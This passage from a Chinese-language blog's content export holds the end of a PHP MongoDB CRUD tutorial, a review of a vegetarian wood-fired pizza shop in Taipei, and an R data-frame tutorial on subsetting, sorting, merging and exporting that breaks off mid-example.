\u0026#39;firstName\u0026#39; =\u0026gt; \u0026#39;Abner\u0026#39;, \u0026#39;lastName\u0026#39; =\u0026gt; \u0026#39;Wang\u0026#39;, \u0026#39;roles\u0026#39; =\u0026gt; array(\u0026#39;developer\u0026#39;, \u0026#39;webmaster\u0026#39;) ); $record3 = array( \u0026#39;firstName\u0026#39; =\u0026gt; \u0026#39;Horace\u0026#39;, \u0026#39;lastName\u0026#39; =\u0026gt; \u0026#39;Wang\u0026#39;, \u0026#39;roles\u0026#39; =\u0026gt; array(\u0026#39;user\u0026#39;) ); $record4 = array( \u0026#39;firstName\u0026#39; =\u0026gt; \u0026#39;Karry\u0026#39;, \u0026#39;lastName\u0026#39; =\u0026gt; \u0026#39;Li\u0026#39;, \u0026#39;roles\u0026#39; =\u0026gt; array(\u0026#39;developer\u0026#39;) ); // 將多筆資料插入 demo 這個 collection 中 $cDemo-\u0026gt;batchInsert( array($record2, $record3, $record4), array(\u0026#39;continueOnError\u0026#39; =\u0026gt; true) ); ?\u0026gt; batchInsert 這個 PHP 函數可以用來一次插入多筆 documents 至指定的 collection 中，第一個參數是 documents 的陣列，而第二個參數則是選項的陣列。\n之前我們使用的 findOne 只會傳回第一筆符合條件的資料，如果我們需要列出多筆資料時，就要使用 find 函數：\n\u0026lt;?php // 設定查詢條件 $queryCondition = array( \u0026#39;lastName\u0026#39; =\u0026gt; \u0026#39;Wang\u0026#39; ); // 查詢並列出所有符合條件的資料 $cursor = $cDemo-\u0026gt;find($queryCondition); foreach ($cursor as $doc) { print_r($doc); } ?\u0026gt; 這樣就會列出所有符合搜尋條件的資料：\nArray ( [_id] =\u003e MongoId Object ( [$id] =\u003e 564e936bb2fd7f962e8b4567 ) [firstName] =\u003e G.T. [lastName] =\u003e Wang [roles] =\u003e Array ( [0] =\u003e developer [1] =\u003e webmaster ) ) Array ( [_id] =\u003e MongoId Object ( [$id] =\u003e 564ebc30b2fd7fa2158b4567 ) [firstName] =\u003e Abner [lastName] =\u003e Wang [roles] =\u003e Array ( [0] =\u003e developer [1] =\u003e webmaster ) ) Array ( [_id] =\u003e MongoId Object ( [$id] =\u003e 564ebc30b2fd7fa2158b4568 ) [firstName] =\u003e Horace [lastName] =\u003e Wang [roles] =\u003e Array ( [0] =\u003e user ) ) 這是比較複雜的查詢條件，列出 roles 是 webmaster 或 user 的人：\n\u0026lt;?php // 設定查詢條件 $queryCondition = array( \u0026#39;roles\u0026#39; =\u0026gt; array(\u0026#39;$in\u0026#39; =\u0026gt; array(\u0026#39;webmaster\u0026#39;, \u0026#39;user\u0026#39;)) ); // 查詢並列出所有符合條件的資料 $cursor = $cDemo-\u0026gt;find($queryCondition); foreach ($cursor as $doc) { print_r($doc); } ?\u0026gt; 輸出為\nArray ( [_id] =\u003e MongoId Object ( [$id] =\u003e 564e936bb2fd7f962e8b4567 ) [firstName] =\u003e G.T. [lastName] =\u003e Wang [roles] =\u003e Array ( [0] =\u003e developer [1] =\u003e webmaster ) ) Array ( [_id] =\u003e MongoId Object ( [$id] =\u003e 564ebc30b2fd7fa2158b4567 ) [firstName] =\u003e Abner [lastName] =\u003e Wang [roles] =\u003e Array ( [0] =\u003e developer [1] =\u003e webmaster ) ) Array ( [_id] =\u003e MongoId Object ( [$id] =\u003e 564ebc30b2fd7fa2158b4568 ) [firstName] =\u003e Horace [lastName] =\u003e Wang [roles] =\u003e Array ( [0] =\u003e user ) ) 也可以使用 JavaScript 來設定查詢的篩選條件：\n\u0026lt;?php // 使用 JavaScript 設定查詢條件 $js = \u0026#34;function() { return this.lastName == \u0026#39;Li\u0026#39; || this.roles == \u0026#39;user\u0026#39;; }\u0026#34;; $queryCondition = array(\u0026#39;$where\u0026#39; =\u0026gt; $js); // 查詢並列出所有符合條件的資料 $cursor = $cDemo-\u0026gt;find($queryCondition); foreach ($cursor as $doc) { print_r($doc); } ?\u0026gt; 這樣會篩選出 lastName 為 Li 或 roles 為 user 的人：\nArray ( [_id] =\u003e MongoId Object ( [$id] =\u003e 564ebc30b2fd7fa2158b4568 ) [firstName] =\u003e Horace [lastName] =\u003e Wang [roles] =\u003e Array ( [0] =\u003e user ) ) Array ( [_id] =\u003e MongoId Object ( [$id] =\u003e 564ebc30b2fd7fa2158b4569 ) [firstName] =\u003e Karry [lastName] =\u003e Li [roles] =\u003e Array ( [0] =\u003e developer ) ) 其餘的範例可參考 find 的網頁。\n更新資料 在 MongoDB 的資料更新方法有兩種，一種是更新 document 中部份的資訊，假設 documents 的資料是這樣：\n{ \"firstName\" : \"G.T.\", \"lastName\" : \"Wang\", \"roles\" : [ \"developer\", \"webmaster\" ] } 更新 email 的資訊：\n\u0026lt;?php $cDemo-\u0026gt;update( array(\u0026#34;firstName\u0026#34; =\u0026gt; \u0026#34;G.T.\u0026#34;, \u0026#34;lastName\u0026#34; =\u0026gt; \u0026#34;Wang\u0026#34;), array(\u0026#39;$set\u0026#39; =\u0026gt; array(\u0026#34;email\u0026#34; =\u0026gt; \u0026#34;gtw@gtwang.org\u0026#34;)) ); ?\u0026gt; 更新之後，會變成這樣：\n{ \"firstName\" : \"G.T.\", \"lastName\" : \"Wang\", \"roles\" : [ \"developer\", \"webmaster\" ], \"email\" : \"gtw@gtwang.org\" } 另外一種更新方式是將整筆 document 覆蓋過去，假設 documents 的資料是這樣：\n{ \"firstName\" : \"G.T.\", \"lastName\" : \"Wang\", \"roles\" : [ \"developer\", \"webmaster\" ] } 使用新的 document 直接蓋掉舊的：\n\u0026lt;?php $cDemo-\u0026gt;update( array(\u0026#34;firstName\u0026#34; =\u0026gt; \u0026#34;G.T.\u0026#34;, \u0026#34;lastName\u0026#34; =\u0026gt; \u0026#34;Wang\u0026#34;), array( \u0026#34;username\u0026#34; =\u0026gt; \u0026#34;gtwang\u0026#34;, \u0026#34;info\u0026#34; =\u0026gt; array(\u0026#34;name\u0026#34; =\u0026gt; \u0026#34;G. T. Wang\u0026#34;, \u0026#34;email\u0026#34; =\u0026gt; \u0026#34;gtw@gtwang.org\u0026#34;), \u0026#34;likes\u0026#34; =\u0026gt; array() ) ); ?\u0026gt; 更新之後，會變成這樣：\n{ \"username\" : \"gtwang\", \"info\" : { \"name\" : \"G. T. Wang\", \"email\" : \"gtw@gtwang.org\" }, \"likes\" : [ ] } 其他進階的範例請參考 update 的網頁說明文件。\n刪除資料 假設我們想要刪除這一筆資料：\n{ \"_id\" : ObjectId(\"5650f638b2fd7f7b198b4567\"), \"firstName\" : \"G.T.\", \"lastName\" : \"Wang\", \"roles\" : [ \"developer\", \"webmaster\" ] } 可以依據 _id 刪除：\n\u0026lt;?php $id = \u0026#39;5650f638b2fd7f7b198b4567\u0026#39;; $cDemo-\u0026gt;remove(array(\u0026#39;_id\u0026#39; =\u0026gt; new MongoId($id))); ?\u0026gt; 或是使一般的查詢條件來找出這一筆 document 並刪除：\n\u0026lt;?php $cDemo-\u0026gt;remove( array(\u0026#34;firstName\u0026#34; =\u0026gt; \u0026#34;G.T.\u0026#34;, \u0026#34;lastName\u0026#34; =\u0026gt; \u0026#34;Wang\u0026#34;) ); ?\u0026gt; 假設資料庫中有很多筆重複的資料時：\n{ \"_id\" : ObjectId(\"5650fb61b2fd7fd91b8b4567\"), \"firstName\" : \"G.T.\", \"lastName\" : \"Wang\", \"roles\" : [ \"developer\", \"webmaster\" ] } { \"_id\" : ObjectId(\"5650fb92b2fd7fec1b8b4567\"), \"firstName\" : \"G.T.\", \"lastName\" : \"Wang\", \"roles\" : [ \"developer\", \"webmaster\" ] } { \"_id\" : ObjectId(\"5650fb93b2fd7fee1b8b4567\"), \"firstName\" : \"G.T.\", \"lastName\" : \"Wang\", \"roles\" : [ \"developer\", \"webmaster\" ] } { \"_id\" : ObjectId(\"5650fb94b2fd7ff01b8b4567\"), \"firstName\" : \"G.T.\", \"lastName\" : \"Wang\", \"roles\" : [ \"developer\", \"webmaster\" ] } 我們可以利用這樣的方式把重複的資料刪掉，只留下一筆：\n\u0026lt;?php $condition = array(\u0026#34;firstName\u0026#34; =\u0026gt; \u0026#34;G.T.\u0026#34;, \u0026#34;lastName\u0026#34; =\u0026gt; \u0026#34;Wang\u0026#34;); // 計算重複資料筆數 $remaining = $cDemo-\u0026gt;count($condition); // 要刪除的資料筆數 $delete = $remaining - 1; // 刪除資料 while ($delete \u0026gt; ) { $cDemo-\u0026gt;remove($condition, array(\u0026#34;justOne\u0026#34; =\u0026gt; true)); $delete--; } ?\u0026gt; 執行完之後，就只會剩下一筆：\n{ \"_id\" : ObjectId(\"5650fb94b2fd7ff01b8b4567\"), \"firstName\" : \"G.T.\", \"lastName\" : \"Wang\", \"roles\" : [ \"developer\", \"webmaster\" ] } 刪除 Collection 如果要在 PHP 中刪除 MongoDB 資料數的 collection，可以使用 drop：\n\u0026lt;?php $response = $cDemo-\u0026gt;drop(); print_r($response); ?\u0026gt; 刪除後，會傳回類似這樣的資訊：\nArray ( [nIndexesWas] =\u003e 1 [msg] =\u003e indexes dropped for collection [ns] =\u003e gtwang_demo.demo [ok] =\u003e 1 ) 計算 Documents 數量 如果要計算 collection 中所有的 documents 數量可以使用 count：\n\u0026lt;?php $count = $cDemo-\u0026gt;count(); ?\u0026gt; 我們也可以加入查詢條件，計算符合條件的 documents 數目：\n\u0026lt;?php $count = $cDemo-\u0026gt;count( array(\u0026#34;firstName\u0026#34; =\u0026gt; \u0026#34;G.T.\u0026#34;, \u0026#34;lastName\u0026#34; =\u0026gt; \u0026#34;Wang\u0026#34;) ); ?\u0026gt; 更新 document 並傳回 如果要更新一筆 document，並且取得更新後的資料，可以使用 findAndModify：\n\u0026lt;?php $retval = $cDemo-\u0026gt;findAndModify( array(\u0026#34;firstName\u0026#34; =\u0026gt; \u0026#34;G.T.\u0026#34;, \u0026#34;lastName\u0026#34; =\u0026gt; \u0026#34;Wang\u0026#34;), array(\u0026#39;$set\u0026#39; =\u0026gt; array(\u0026#34;email\u0026#34; =\u0026gt; \u0026#34;gtw@gtwang.org\u0026#34;)), null, array(\u0026#34;new\u0026#34; =\u0026gt; true) ); print_r($retval); ?\u0026gt; 輸出為：\nArray ( [_id] =\u003e MongoId Object ( [$id] =\u003e 565107cab2fd7f1d228b4567 ) [email] =\u003e gtw@gtwang.org [firstName] =\u003e G.T. [lastName] =\u003e Wang [roles] =\u003e Array ( [0] =\u003e developer [1] =\u003e webmaster ) ) 圖片來源：Garrett Heath\n","permalink":"https://blog.gtwang.org/web-development/php-mongodb-database-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 PHP 中使用 MongoDB 資料庫，包含插入新增、修改更新與刪除資料等各種詳細範例教學。\u003c/p\u003e\n\u003cp\u003eMongoDB 除了基本的 \u003ca href=\"/programming/getting-started-with-mongodb-shell-1/\"\u003eMongoDB Shell\u003c/a\u003e 使用方式之外，它也提供了各種程式語言的 driver，以下我們介紹在 PHP 中的 MongoDB 資料庫使用方式。\u003c/p\u003e","title":"PHP 使用 MongoDB 資料庫入門範例教學"},{"content":"So Free Pizza 柴窯披薩是一家窯烤素食披薩專賣店，這裡賣的披薩都是使用店門口的窯現烤出來的，很有特色。\n今天第一次來 So Free Pizza 柴窯披薩，因為沒有注意到他的營業時間，結果太早到了，店門還沒有什麼人，不過這樣也剛好方便拍照。\nSo Free Pizza 柴窯披薩有兩家分店，分別是台大店與西門店，本篇介紹的是西門店，它就在峨眉停車場旁邊。\n這是 So Free Pizza 柴窯披薩西門店的店門口，很有風格的一家披薩店。\nSo Free Pizza 柴燒披薩招牌。\n烤披薩的窯在大門口就可以看得很清楚，很多路人經過時都會很好奇的多看幾眼。\n這樣的窯在都市應該是不常見，沒看過的人應該會感覺很新鮮。\n在開始營業之前，會先燒柴預熱。\n這是窯的背面。\nSo Free 的名片。\n名片背面就是菜單，有一些披薩是蛋奶素或五辛素的，在菜單上都有明顯的標示。\n這是店門口的菜單。\n這裡有一些說明，So Free 所使用的木頭並非砍伐原始雨林，而是來自於果園的「龍眼木」，龍眼木屬於經濟作物，每年果農都會修枝（細枝）及更換品種（粗枝），使用這樣的木頭會比較環保。\n除了披薩之外，也有一些飲料可以點。\n營業時間（中午 12 點）開始之後，就可以在門口點餐了。如果是內用的人，可以先進去找位子，再出來門口點餐。\n這是店內的座位。\n店內的佈置有很有自己的風格。\nSo Free 的桌牌，上面有免費 WiFi 的密碼，來這裡用餐的顧客都可以免費使用。\n如果坐在店門口的坐位的話，可以近距離觀看披薩的製作與烘烤過程喔。\n這裡的披薩都是現做、現烤的，烤好之後馬上就端出來，相當有臨場感。\n這是我點的煙燻乳酪披薩。\n裡面有兩種起司，一種是一般的起司，另外一種是煙燻的起司塊，配在一起還不錯。\n起司的量不少、面皮薄，吃起來很不錯。\n這樣一個 8 吋的披薩一個人吃我是感覺剛剛好。\n由於我今天是自己一個人去吃，只有點一個披薩，而剩下的就等以後有機會再說囉。\n店名：So Free 柴窯披薩＆起司（西門店）\n地址：台北市萬華區西寧南路 50 巷 1 號\n電話：(02) 2314-6225\n營業時間：12：00～21：30\n網站：官方網站、facebook 粉絲專頁\n","permalink":"https://blog.gtwang.org/life/so-free-wood-fired-vegetarian-pizza-ximenting-taipei/","summary":"\u003cp\u003eSo Free Pizza 柴窯披薩是一家窯烤素食披薩專賣店，這裡賣的披薩都是使用店門口的窯現烤出來的，很有特色。\u003c/p\u003e\n\u003cp\u003e今天第一次來 So Free Pizza 柴窯披薩，因為沒有注意到他的營業時間，結果太早到了，店門還沒有什麼人，不過這樣也剛好方便拍照。\u003c/p\u003e","title":"[台北素食] So Free Pizza 柴窯披薩：西門町柴燒窯烤素食披薩專賣店"},{"content":"本篇介紹如何在 R 環境中，管理與操作各種資料，在實際進行分析之前，做一些前置性的準備動作。\n在統計分析的過程中，我們時常會需要對資料進行一些前置處理，例如刪除或萃取部分資料、以及資料的排序等，這些動作也可以在匯入 R 之前，使用 Excel 這類的軟體來先進行處理，不過使用 Excel 來處理的話，每次選擇資料時就需要將資料重新匯入 R，處理步驟比較繁雜，另外如果資料量太大，可能也會無法使用 Excel 來處理，因此學習如何在 R 環境中進行基本的資料處理是有必要的。\n許多初學者可能會認為在 R 環境中處理資料是很困難的事情，但是一旦學會了這些技巧之後，許多在 Excel 中很惱人的資料處理動作，也都可以在 R 中完成，甚至更快速而且更輕鬆。\nR 存取 Data Frame 的資料 首先將 squid.txt 這個檔案讀取進來：\nsetwd(\u0026#34;C:/YOUR_PATH/\u0026#34;) Squid \u0026lt;- read.table(file = \u0026#34;squid.txt\u0026#34;, header = TRUE) 由於大部份的 R 函數都是使用 data frame 來存取資料，所以一般建議是盡量使用 read.table 來讀取資料，而不要用 scan。\n將資料讀取進來之後，我們可以使用 names 來查看資料的欄位：\nnames(Squid) 輸出會像這樣：\n[1] \"Sample\" \"Year\" \"Month\" \"Location\" \"Sex\" \"GSI\" str 函數 str 函數（structure）可以顯示 data frame 中所有欄位的資訊：\nstr(Squid) 輸出為：\n'data.frame':\t2644 obs. of 6 variables: $ Sample : int 1 2 3 4 5 6 7 8 9 10 ... $ Year : int 1 1 1 1 1 1 1 1 1 1 ... $ Month : int 1 1 1 1 1 1 1 1 1 2 ... $ Location: int 1 3 1 1 1 1 1 3 3 1 ... $ Sex : int 2 2 2 2 2 2 2 2 2 2 ... $ GSI : num 10.44 9.83 9.74 9.31 8.99 ... 我們可以從這個輸出中看出來，Sample、Year、Month、Location 與 Sex 都是整數（int），而 GSI 則是數值（num）。假設我們不小心輸入錯誤指令：\nSquid2 \u0026lt;- read.table(file = \u0026#34;squid.txt\u0026#34;, dec = \u0026#34;,\u0026#34;, header = TRUE) 雖然資料還是可以正常讀取進來，而且沒有錯誤訊息，但是用 str 檢查資料時，就會發現問題：\nstr(Squid2) 輸出為\n'data.frame':\t2644 obs. of 6 variables: $ Sample : int 1 2 3 4 5 6 7 8 9 10 ... $ Year : int 1 1 1 1 1 1 1 1 1 1 ... $ Month : int 1 1 1 1 1 1 1 1 1 2 ... $ Location: int 1 3 1 1 1 1 1 3 3 1 ... $ Sex : int 2 2 2 2 2 2 2 2 2 2 ... $ GSI : Factor w/ 2472 levels \"0.0064\",\"0.007\",..: 1533 2466 2462 2445 2428 2407 2379 2308 2288 2247 ... 這裡 GSI 變數現在被視為一個 factor，如果使用這樣的資料進行後續的分析時（例如畫 boxplot 或計算平均數），就會出現錯誤：\nmean(Squid$GSI) [1] 2.187034 mean(Squid2$GSI) [1] NA Warning message: In mean.default(Squid2$GSI) : argument is not numeric or logical: returning NA 在使用 R 分析資料時，常常很容易發生類似的問題，所以建議在讀取資料之後，記得要使用 str 檢查一下資料是否正確。\n這裡我們有興趣的變數是 GSI，接下來我們想要看看 GSI 與其他變數之間的關係，而在實際建立模型之前，通常會先畫一些簡單的圖（如 boxplot、dot plot、scatter plot 與 pair plot 等），大略看一下資料的狀況。\n目前 GSI 是儲存在 Squid 這個 data frame 中，以下有幾種可以存取 data frame 資料的方式，請繼續閱讀下一頁。\nR 函數的 data 參數 在 R 中有許多函數都可以透過 data 參數來指定 data frame，例如線性回歸的 lm：\nM1 \u0026lt;- lm(GSI ~ factor(Location) + factor(Year), data = Squid) 第一個參數是指定線性回歸的模型，我們在這裡尚不討論這個部分，而第二個參數就是以 data 參數指定 data frame 為 Squid，告知 R 迴歸模型中的變數是存在於這個 data frame 中。這種方式可以讓所有的資料都放在一個 data frame 中，除了方便管理之外，在資料變數很多的時候，也可以避免變數名稱互相衝突。\n不過不是每一個常見的函數都支援 data 參數，例如 mean 就不支援：\nmean(GSI, data = Squid) 這樣執行之後，就會產生錯誤：\nError in mean(GSI, data = Squid) : 找不到物件 'GSI' 通常我們可以查詢函數的線上手冊（help），來確認該函數使否有支援 data 參數，有些函數甚至在某些用法有支援，有些則沒有，例如 boxplot 就是這樣：\nboxplot(GSI ~ factor(Location), data = Squid) 上面這行指令可以正常執行，不過換另外一種寫法，就會有問題：\nboxplot(GSI, data = Squid) 執行這行指令會出現這樣的錯誤訊息：\nError in boxplot(GSI, data = Squid) : 找不到物件 'GSI' 基本上在函數有支援 data 參數的狀況下，使用 data 參數是最好的選擇，這樣可以讓命名空間比較乾淨一些。\n錢字號（$） 對於沒有支援 data 參數的函數，可以改用錢字號（$）的方式來取用 data frame 的變數：\nSquid$GSI 輸出為\n[1] 10.4432 9.8331 9.7356 9.3107 8.9926 [6] 8.7707 8.2576 7.4045 7.2156 6.8372 [11] 6.3882 6.3672 6.2998 6.0726 5.8395 [略] 在錢字號與變數名稱之間可以允許空白：\nSquid $ GSI 但是習慣上不建議這樣寫，這樣看起來很奇怪。\n另外也可以用指定欄位編號的方式來存取 data frame 中的變數，例如要取得 Squid 的第 6 欄：\nSquid[, 6] 在實際使用時，不管哪一種方式都可以：\nmean(Squid$GSI) mean(Squid[, 6]) 不過建議是使用 Squid$GSI，因為這種寫法比較清楚，經過一段時間之後若我們再回來看這個程式，Squid[, 6] 很容易讓人搞不清楚他到底是什麼，而 Squid$GSI 則是一看就知道他是什麼資料。\n另外，還有另外一種寫法：\nSquid[, \u0026#34;GSI\u0026#34;] 當 Squid$GSI 這種寫法無法使用時，就可以改用這種。\nR 的 attach 函數 如果您不想要在每次使用變數時，都輸入 Squid$GSI 這樣累贅的名稱，我們可以使用 attach 函數將 Squid 納入 R 的搜尋路徑，這樣我們就可以直接使用 Squid 裡面的所有變數：\nattach(Squid) GSI 這時候任何函數也都可以直接取用這些變數：\nboxplot(GSI) mean(GSI) 雖然 attach 看起來很方便，但是如果要 attach 的變數名稱已經事先存在於全域變數中的話，就會產生問題，或是同時 attach 兩個有同樣變數名稱的 data frame 的話也會出問題，另外 attach 的變數名稱亦不可以跟既有的 R 關鍵字或是函數名稱相同（例如變數名稱如果取為 time，就會與 time 函數衝突），如果發生名稱衝突的問題時，您會發現 R 可能不會如您預期的那樣存取指定的變數資料。\n如果要將特定的 data frame 從搜尋路徑中移除，可以使用 detach：\ndetach(Squid) 如果您一次只需要使用一個 data frame，並且小心運用 attach 與 detach，它會是一個很方便的功能，不過只限於研究與測試的情況，若要撰寫指令稿、發展正式的程式專案時，建議還是盡量避免這樣使用，以免未來城市結構變複雜時，發生變數名稱衝突的問題。\n以下是 attach 使用上需要注意的重點整理：\n不要重複執行 attach(Squid)，以免變數名稱重複。 確保變數名稱都有一定的獨特性，盡量避免太過於一般性的名稱，例如 Month 或 Location。 如果需要 attach 多個 data frame，但是一次只使用到一個 data frame，那麼建議將沒有用到的 data frame 先行 detach。 Exercise 1\nbird-flu.csv 這個檔案中記錄了數個國家 H5N1 禽流感的年度確診病例，這些資料是由各個國家回報給世界衛生組織（WHO）後所統計出來的，請依下列步驟分析這些資料：\n將這些資料以 read.table 讀進 R 中。 使用 names 與 str 檢查資料。 列出 2003 年各國的確診病例數目。 計算 2003 年與 2005 年確診病例總數。 計算 China 與 Turkey 的確診病例總數。 R 資料的子集合（Subsets） 接下來我們要介紹如何從 Squid 這個 data frame 中萃取部分的資料出來，這個資料篩選的方式可以適用於任何的 data frame。\n假設我們想要篩選出所有性別欄位（Sex）是男性或女性的資料，首先我們先看一下 Sex 裡面的資料：\nSquid$Sex 資料大概是這個樣子：\n[1] 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 [20] 2 2 2 2 1 2 2 2 2 2 2 2 2 2 2 2 2 2 2 [39] 2 2 2 2 2 2 2 2 2 1 2 2 2 2 2 2 2 2 2 [略] 由於資料筆數很多，很難看出到底有哪一些值，我們可以用 unique 來將重複的數值去掉：\nunique(Squid$Sex) 輸出為\n[1] 2 1 這裡的 1 代表男性，而 2 代表女性，若要篩選出男性的資料，可以執行：\nSel \u0026lt;- Squid$Sex == 1 SquidM \u0026lt;- Squid[Sel, ] SquidM 輸出為\nSample Year Month Location Sex GSI 24 24 1 5 1 1 5.2970 48 48 1 5 3 1 4.2968 58 58 1 6 1 1 3.5008 60 60 1 6 1 1 3.2487 61 61 1 6 1 1 3.2304 [略] 這裡的第一行 Squid$Sex == 1 會檢查 Sex 的每一個值是否為 1，產生一個跟 Sex 一樣長度的向量，若 Sex 對應的值為 1，則產生 TRUE，若 Sex 的值不是 1，則產生 FALSE，而這樣的向量稱為布林向量（boolean vector），在篩選資料時通常都會透過這樣的方式來指定子集合，因此我們將這個向量名為 Sel。\n第二行的 Squid[Sel, ] 是選擇所有 Sel 的值為 TRUE 的資料，並將這些資料儲存在 SquidM 中。\n我們也可以將第一行與第二行合併，寫成：\nSquidM \u0026lt;- Squid[Squid$Sex == 1, ] SquidM 若要篩選出女性的資料，可以執行：\nSquidF \u0026lt;- Squid[Squid$Sex == 2, ] SquidF 這種透過布林向量篩選資料的方法可以用在非常多的地方，我們接下來想要根據 Location 這個欄位來篩選資料，首先看一下 unique 的結果：\nunique(Squid$Location) 輸出為\n[1] 1 3 4 2 如果我們想要篩選出 Location 是 1、2 或 3 的資料，可以有以下幾種方式：\nSquid123 \u0026lt;- Squid[Squid$Location == 1 | Squid$Location == 2 | Squid$Location == 3, ] Squid123 \u0026lt;- Squid[Squid$Location != 4, ] Squid123 \u0026lt;- Squid[Squid$Location \u0026lt; 4, ] Squid123 \u0026lt;- Squid[Squid$Location \u0026lt;= 3, ] Squid123 \u0026lt;- Squid[Squid$Location \u0026gt;= 1 \u0026amp; Squid$Location \u0026lt;= 3, ] 第一行是利用 OR 運算子（|），將三個 == 的判斷結果結合起來，而第二行是直接判斷 Location 是否不等於（!=）4，第三行與第四行則是使用「小於」（\u0026lt;）以及「小於或等於」（\u0026lt;=）來判斷，最後一行則是將兩個判斷結果用 AND 運算子（\u0026amp;）結合，在這個例子中不管用哪一種寫法都可以獲得同樣的結果。\n我們也可以同時使用多個欄位來產生布林向量，例如選擇 Sex 為 1 而且 Location 為 1 的資料：\nSquidM.1 \u0026lt;- Squid[Squid$Sex == 1 \u0026amp; Squid$Location == 1,] 選擇 Sex 為 1 而且 Location 為 1 或 2 的資料：\nSquidM.12 \u0026lt;- Squid[Squid$Sex == 1 \u0026amp; (Squid$Location == 1 | Squid$Location == 2), ] 有些初學者在產生布林向量時，很容易犯下這樣的錯誤：\nSquidM \u0026lt;- Squid[Squid$Sex == 1, ] SquidM1 \u0026lt;- SquidM[Squid$Location == 1, ] SquidM1 輸出會像這樣：\nSample Year Month Location Sex 24 24 1 5 1 1 58 58 1 6 1 1 [略] NA NA NA NA NA NA NA.1 NA NA NA NA NA NA.2 NA NA NA NA NA [略] 這裡的第一行篩選出所有男性的資料，並儲存至 SquidM，因此 SquidM 的資料筆數會小於原來 Squid 的資料筆數（假設 Squid 中有女性的資料），因此在第二行中 Squid$Location==1 的長度會比 SquidM 的資料筆數還要多，多出來的部分就會以 NA 遞補，因此產生這樣奇怪的結果。若要修正這個錯誤，應該要改成這樣：\nSquidM \u0026lt;- Squid[Squid$Sex == 1, ] SquidM1 \u0026lt;- SquidM[SquidM$Location == 1, ] SquidM1 另外如果沒有任何資料符合篩選的條件，狀況會類似這樣：\nSquid[Squid$Location == 1 \u0026amp; Squid$Year == 4 \u0026amp; Squid$Month == 1, ] 輸出為\n[1] Sample Year Month Location [5] Sex GSI (or 0-length row.names) R 資料的排序（Sorting） 除了資料的篩選之外，排序也是一個很常會使用到的功能，以 Squid 的資料為例，我若我們希望資料可以依據 Month 的數值大小由小到大排序，可以執行：\nOrd1 \u0026lt;- order(Squid$Month) Squid[Ord1, ] 這樣整個資料就會依照月份來排序：\nSample Year Month Location Sex GSI 1 1 1 1 1 2 10.4432 2 2 1 1 3 2 9.8331 3 3 1 1 1 2 9.7356 [略] 在重新排序資料列（rows）時，記得要將 Ord1 放在逗號的前面。除此之外，我們也可以只針對特定的資料欄位排序，例如：\nSquid$GSI[Ord1] 輸出為：\n[1] 10.4432 9.8331 9.7356 9.3107 [5] 8.9926 8.7707 8.2576 7.4045 [9] 7.2156 6.3882 6.0726 5.7757 [13] 1.2610 1.1997 0.8373 0.6716 [略] Exercise 2\nISIT.txt 檔案中儲存一些關於生物發光（bioluminescent）的資料，請依下列步驟分析這些資料：\n將 ISIT.txt 的資料讀進 R 中。 將 Station 為 1 的資料篩選出來，計算 Station 為 1 的資料筆數。 使用 Station 為 1 的資料計算 SampleDepth 的最小值、中位數、平均數與最大值。 分別計算 Station 為 2 與 3 的 SampleDepth 的最小值、中位數、平均數與最大值。 找出資料筆數相對比較少的 Station，將這些 Station 的資料拿掉後，建立一個新的 data frame。 篩選出 2002 年所有的資料。 篩選出所有四月份的資料。 篩選出所有 SampleDepth 大於 2000 的資料。 篩選出所有四月份且 SampleDepth 大於 2000 的資料。 將資料依照 SampleDepth 排序（由小到大）。 R 結合兩個資料表 目前為止我們看到的範例資料都是儲存在單一檔案中，但有些時候狀況可能沒有那麼單純，在實際的資料分析上，我們可能會遇到資料散佈在多個檔案中的狀況，而不同檔案中的資料有不同的欄位，靠著其中一個資料編號或 ID 的欄位互相連結，遇到這樣的資料時，我們就必須先把多張資料表合併，才能繼續後續的分析工作。\n假設我們現在拿到兩個資料表，資料的欄位如下，第一個資料表有 Sample 與 GSI 兩個欄位。\n第二個資料表有 Sample、YEAR、MONTH、Location 與 Sex 這幾個欄位。\n兩個資料表同時都有 Sample 這個欄位，我們要做的事情就是依照 Sample 的編號，將兩個資料表合併整的表格，以利後續的分析。\n在實務上這樣兩個資料表的資料筆數不一定相同，最常發生的狀況就是有一些資料不小心搞丟了，或是因為某些原因無法取得，我們故意將 Squid2 這個資料表的第 4 筆資料刪掉，以模擬這樣的狀況。\nR 裡面的 merge 函數就是特別為了處理這樣的問題而設計的，首先將兩個資料表讀進 R 中：\nSq1 \u0026lt;- read.table(file = \u0026#34;squid1.txt\u0026#34;, header = TRUE) Sq2 \u0026lt;- read.table(file = \u0026#34;squid2.txt\u0026#34;, header = TRUE) 接著使用 merge 合併：\nSquidMerged \u0026lt;- merge(Sq1, Sq2, by = \u0026#34;Sample\u0026#34;) SquidMerged 輸出為：\nSample GSI YEAR MONTH Location Sex 1 1 10.4432 1 1 1 2 2 2 9.8331 1 1 3 2 3 3 9.7356 1 1 1 2 4 5 8.9926 1 1 1 2 5 6 8.7707 1 1 1 2 6 7 8.2576 1 1 1 2 [略] merge 函數的第一、二個參數是指定要合併的資料表，而 by 參數則是指定資料辨識的依據欄位。預設的狀況下，merge 會將有缺失值的資料忽略，所以上面這樣產生的資料並不會包含 Sample 為 4 的那一筆資料。我們可以將 all 參數設定為 TRUE（預設為 FALSE），讓含有缺失值的資料也一併被保留。\nSquidMerged \u0026lt;- merge(Sq1, Sq2, by = \u0026#34;Sample\u0026#34;, all = TRUE) SquidMerged 輸出為：\nSample GSI YEAR MONTH Location Sex 1 1 10.4432 1 1 1 2 2 2 9.8331 1 1 3 2 3 3 9.7356 1 1 1 2 4 4 9.3107 NA NA NA NA 5 5 8.9926 1 1 1 2 6 6 8.7707 1 1 1 2 7 7 8.2576 1 1 1 2 [略] 第 4 筆資料的缺失值會以 NA 來表示。\nR 匯出資料 R 所提供的 write.table 函數可以將 R 中的資料匯出至檔案，以 ASCII 的格式儲存，以利資料的交換或傳送。假設我們要將 Squid 的男性資料篩選出來，儲存成檔案，可以執行：\nSquidM \u0026lt;- Squid[Squid$Sex == 1, ] write.table(SquidM, file = \u0026#34;MaleSquid.txt\u0026#34;, sep = \u0026#34; \u0026#34;, quote = FALSE, append = FALSE, na = \u0026#34;NA\u0026#34;) write.table 的第一個參數是指定要匯出的資料變數，file 參數是檔案名稱，sep 是指定欄位分隔字元（這裡是使用空白），quote = FALSE 是設定不要加入引號，na 則是指定缺失值的表示方法。如果要匯出的檔案已經存在時，加入 append = FALSE 可以把就的檔案內容直接覆蓋掉，如果將 append 指定為 TRUE，則會將資料附加在既有的檔案內容之後。\n上面的指令執行之後，輸出的檔案內容為：\nSample Year Month Location Sex GSI 24 24 1 